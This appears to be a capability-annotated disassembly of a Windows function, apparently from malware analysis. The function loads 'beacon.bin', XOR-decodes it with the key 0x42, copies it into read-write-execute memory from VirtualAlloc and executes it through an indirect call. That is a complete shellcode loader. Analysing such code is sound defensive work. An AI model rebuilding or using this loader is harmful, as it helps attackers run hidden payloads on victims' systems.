Function at 0x401460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x140
call sym.___main
lea eax, [ebp - 0x12c]
mov dword [esp + 4], 4
mov dword [esp], str.beacon.bin
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream_char_const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x12c]
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::is_open__
xor eax, 1
test al, al
je 0x4014dc
mov dword [esp + 4], str.Failed_to_open_file.
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
mov ebx, 1
jmp 0x401681
lea eax, [ebp - 0x12c]
mov dword [esp + 8], 2
mov dword [esp], 0
mov dword [esp + 4], 0
mov ecx, eax
call sym.std::istream::seekg_long_long__std::_Ios_Seekdir_
sub esp, 0xc
lea eax, [ebp - 0x30]
lea edx, [ebp - 0x12c]
mov dword [esp], edx
mov ecx, eax
call sym.std::istream::tellg__
sub esp, 4
lea eax, [ebp - 0x30]
mov ecx, eax
call method.std::fpos_int_.operator_long_long___const
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x12c]
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 4], 0
mov ecx, eax
call sym.std::istream::seekg_long_long__std::_Ios_Seekdir_
sub esp, 0xc
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 0x12c]
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x14]
mov dword [esp], edx
mov ecx, eax
call sym.std::istream::read_char__int_
sub esp, 8
mov byte [ebp - 0x15], 0x42
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jae 0x4015a9
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
add edx, eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
add eax, ecx
movzx eax, byte [eax]
xor al, byte [ebp - 0x15]
mov byte [edx], al
add dword [ebp - 0xc], 1
jmp 0x401583
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401622
mov dword [esp + 4], str.Failed_to_allocate_memory.
mov dword [esp], sym.imp.libstdc_6.dll_std::cerr
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], sym.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call sym.std::ostream::operator___std::ostream____std::ostream__
sub esp, 4
cmp dword [ebp - 0x14], 0
je 0x40160e
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.operator_delete___void_
lea eax, [ebp - 0x12c]
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
mov ebx, 1
jmp 0x401681
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0x1c]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
lea eax, [ebp - 0x12c]
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::close__
cmp dword [ebp - 0x14], 0
je 0x40167c
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym.operator_delete___void_
mov ebx, 0
lea eax, [ebp - 0x12c]
mov ecx, eax
call sym.std::basic_ifstream_char__std::char_traits_char___::basic_ifstream__
mov eax, ebx
jmp 0x4016ab
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret